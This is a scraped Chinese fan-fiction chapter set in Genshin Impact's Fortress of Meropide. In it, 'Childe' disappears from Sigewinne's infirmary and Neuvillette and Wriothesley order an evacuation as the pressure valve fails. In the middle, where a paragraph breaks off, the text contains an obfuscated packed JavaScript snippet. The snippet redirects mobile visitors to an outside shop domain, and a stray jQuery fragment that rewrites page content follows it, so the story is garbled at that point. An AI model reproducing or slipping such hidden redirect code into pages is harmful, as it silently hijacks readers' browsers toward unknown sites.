7.25 Thursday 傍晚暮深
“你就放心吧。”莱欧斯利走到那维莱特身侧,拍了拍他的肩,“我安排了专人在下面值守,时刻盯着压力阀指针,每隔半个小时就记录一次指针的变化情况。”
说罢,莱欧斯利撇眼扫过放在桌上的时钟,“二十一分钟以前,研究员才汇报过指示针还停留在橙区,等原始胎海水下一次翻滚蔓延到濒临红区,我保证会在第一时间,给你传递消息。”
“拜托你了。”那维莱特轻轻点了下头,随即起身道:“难得过来一次,我去看看希格雯。”
莱欧斯利落那维莱特一步出了办公室,反脚一钩带上门,而后两个大胯步赶上那维莱特,与他并肩而行,戏谑调笑道:“你这个月过来的次数,往大头算估计都能有十次了。这可谈不上是难得来一次。”
“这么多么?”那维莱特眉峰微蹙,“我先前还未曾注意这一点。”
莱欧斯利鼻子出气,发出“嗯哼”的肯定语气。
“今年的七月,不太平啊。”说着,莱欧斯利话锋一转道,“说来也是奇怪,怎么这个月小打小闹的小案件不见一桩,百年难得一见的大案反倒是扎了堆往外冒,还都能和梅洛彼得堡能扯上些关系。”
“是的。”那维莱特赞同道,“我也注意到了。不过我反而觉得七月这些个案子,与梅洛彼得堡并无直接联系。”
“怎么?”
“梅洛彼得堡更像是作为一个附属品被牵连到了其中。而原始胎海水的暴露,且被多方势力研究功效并使用,才是这些案子或直接、或间接的原因。”
“你这么说……也颇有几分道理。”莱欧斯利想了想,点头道。
边走,那维莱特和莱欧斯利一边沿着这个话题继续往下深究,没一会,就到了医务室。
远远地,视力极好的那维莱特就瞧见医务室的大门敞开着,希格雯呆呆地望着门外,右手握着一只针管注射器。美露莘的视力不如那维莱特,这会应该是还没看见他们。
又过了片刻,等他们走近些,现在的距离已经进入了美露莘的视野范围。然而,希格雯仍旧没有什么反应,昔日里,见到那维莱特和莱欧斯利过来,她必定会欢快地迎上来。
等到他们走到希格雯身前七八米,那维莱特甚至可以看见自己倒影在希格雯粉蓝色的大眼睛中,可希格雯还是保持着方才的姿势,就如同完全没有看见他们过来一样。
“不对劲。”莱欧斯利快跑上前道,“只怕是出事了。”
他很快冲到希格雯身边,语调放得很是柔和,接连叫唤起希格雯的名字。
那维莱特几乎是同时与莱欧斯利一起上前停下的,当他看见被莱欧斯利叫了好几声,还呆愣在原地的希格雯,一素古井无波的眼底,不由浮现出丝丝缕缕的担忧。
他犀利的目光绕着希格雯将它全身扫视了一圈,确认没有伤口之后,神情严肃,声音比平日提高了些,问道:“希格雯,发生了什么?”
希格雯耳朵抖了两下,回过神,“那维莱特大人,我……我一扭头「公子」就不见了。”
那维莱特与莱欧斯利对视了一眼。
“不着急,慢慢说。”莱欧斯利道。
希格雯解释道:“「公子」被送到医务室之后,我先给「公子」打了一瓶营养针。而后在身体检查的过程中,我发现「公子」身上有不少陈年旧伤,于是我就想着趁他没醒,给他调配些药物。”
“「公子」就在这里躺着。”希格雯侧身指了指明显凌乱的床榻,“我去工作台调制,期间「公子」醒了一次,问我这是哪,我和他解释了一下,他就继续躺下了。”
莱欧斯利奇怪道:“「公子」没有问其他什么了吗?情绪也表现得很平静?”
“是的。”希格雯点头,“我调配好药剂,和他一面说着注意事项,一面局部消毒,弄好之后才将将把药剂往里推了半管,「公子」突然情绪激动,一挥手将我拨开,然后就……消失了。”
说着,她翻过手腕。
握在她手里的注射器,管身内的海绿色药剂,剩下了三分之一。
“所以我们来的时候,「公子」应该刚离开不久,医务室的门还开着。”那维莱特余光划过希格雯说道。
莱欧斯利有些无奈,又有些头疼说道:“啧,我早知这些至冬的执行官都不是些安分的主儿,可也是没想到,这位「公子」才刚来梅洛彼得堡不到三个小时,就玩起了失踪。”
那维莱特也很是无语,但这是在莱欧斯利的地盘上,他不好多说什么,只按了按眉心,静静立在一旁,等莱欧斯利处理此事。
很快,莱欧斯利大步生风回到办公室,对着喇叭将「公子」的衣着外貌简单描述了一下,告知梅洛彼得堡的犯人们,如果看见相似的人一定要急时汇报,消息有效者将会得到一定的奖励。
等他喊完话,那维莱特托着伊芮娅过来道:“我们就不打搅你,先回水上了。”
“哎?水上有急事,还是没处理完的公务?”
“……”那维莱特落眉认真想了想,“暂时都没有。”
“那在我这喝茶等等?”莱欧斯利道,“我主要是担心你这才上去,又收到消息要下来一趟了。”
那维莱特敛眉沉默了片刻,淡淡吐出“也好”两字,而后便重新坐了下来。
约莫半个小时之后,梅洛彼得堡地底猛然传来一下剧烈的颤动。
那维莱特、莱欧斯利、希格雯和瘫在放满了温水的脸盘里“泡澡”的伊芮娅齐齐一惊。
坐在桌边品茶的一龙一人一美露莘倒是还好,只可怜了伊芮娅。
地面突如其来的抖动,将毫无防备,伸展着身体懒洋洋趴在盆沿,都已经舒服地快要睡着了的小人鱼硬生生颠出了脸盆,“啪叽”一下,摔在地上。
“呀?”伊芮娅伸手揉了揉屁股,茫然地抬起小脸看了看那维莱特,又低头伸出爪子拍了拍地,趴下侧头附耳,细细听着地下深处传来的动静。
那维莱特和莱欧斯利齐齐拧眉,目光随之划落在地面上。
希格雯捏着帕子,撒擦去泼洒在桌上的水,开口打破了此刻的寂静,“这是……地下传来的震动?”
“走!”莱欧斯利猝然起身道,“去看压力阀。”
只见他刚刚走到书架,伸出的手指尚未触碰到机关,办公室的密道就已经从内部被人打开了。
一男一女两个研究员前后气喘吁吁地跑了出来,拄着膝盖,断断续续道道:“指针……指针到……红区了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948702|133749||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>莱欧斯利大惊,当即望向那维莱特。
那维莱特微愣过后,阔步走下暗道的旋转楼梯,穿过三道打开了的阀门,来到压力盘上方的露台处。
莱欧斯利、希格雯和两位研究员也跟了下来,站在一侧。趴在地上不显眼,也没吭气的小人鱼,则被忘在了上面。
那维莱特站定后,稍稍感应了几息,偏头果断道:“莱欧斯利,通知所有人,立刻往高层撤退。再告知警备厅,暂时开放梅洛彼得堡的升降电梯,用最快的速度运行。”
莱欧斯利一怔,下意识问道:“现在连你也控制不住了?”
那维莱特“嗯”了一声,抬手聚水,“以我目前的感知来看,一是这次原始胎海水的暴动很厉害,且不知道时长;二是压力阀的耐受程度已经到达了极限,马上将会损毁;三是我虽能控制住大部分的原始胎海水,但容器破损,无法将它重新缚在此处。”
“暂时撤离梅洛彼得堡,是目前最好的选择。”
“梅洛彼得堡现在只剩下正门升降电梯一个出入口,让这里的五千余位都从正门离开,显然不现实。”莱欧斯利思量了几息,重重一叹,神色带有明显的决绝道:“上层往上,下层往下。”
那维莱特一愣:“什么?”
然而,莱欧斯利没有回他,飞快跑回了办公室,对着传音喇叭,大吸一口气,提高声音喊道:“现遇到突发事件,请在梅洛彼得堡内部的所有人员即刻停下手中事务!听从撤离安排!”
“以管理区为分界,现在位于接待处、监舍区两层的所有人员前往升降电梯,由警务人员维持秩序撤离;管理区,以及生产区上下两层,往下撤到废弃生产区西北方向,封锁的大门之前。”
“所有人请立刻行动,如有拖延,后果自负。”
莱欧斯利口气极重的说完这句话,“啪”一下,将广播断了,折头想返回地下禁区帮忙。
将将上来的希格雯和两位研究员赶忙拦住了他。
“那维莱特大人让我们也快离开这里。”希格雯拽着他的袖口说道。
“留他一个人应对?”莱欧斯利稍显迟疑,少顷,他像是想到了什么,轻点下颌道,“听他的。”
“你们三个快去上面,我下去。”
“公爵大人,你注意安全。”说完,两位研究员小跑出了办公室。
而应该一起离开的希格雯,却五指收紧,平静地望着莱欧斯利,断然拒绝道:“我和你一起下去,我是美露莘,不用担心我。”
莱欧斯利:“……”
他心知扭不过希格雯,而现在很明显也不是应该讲道理的场合,于是颔首应下,单臂抱起小短腿的希格雯,如旋风一般离开了。
在距离他们几人方才短暂交谈之地,大约三米之外,伊芮娅曲着尾巴坐在盘沿,很是失落地幽幽叹了一声。
好像……他们都把自己忘记了……
伤心难过了几秒钟,伊芮娅振作起来,鱼尾巴一撅,在地上站稳,接着蹦跶到密道口,沿着楼梯往下挪。
它在海沫村学到了一句璃月古话:山不来见我,我自去寻山。
它是外来物种,大概是不怕原始胎海水的,干脆下去陪着蓝鱼鱼好啦~
嗯,应该不会给他添麻烦吧……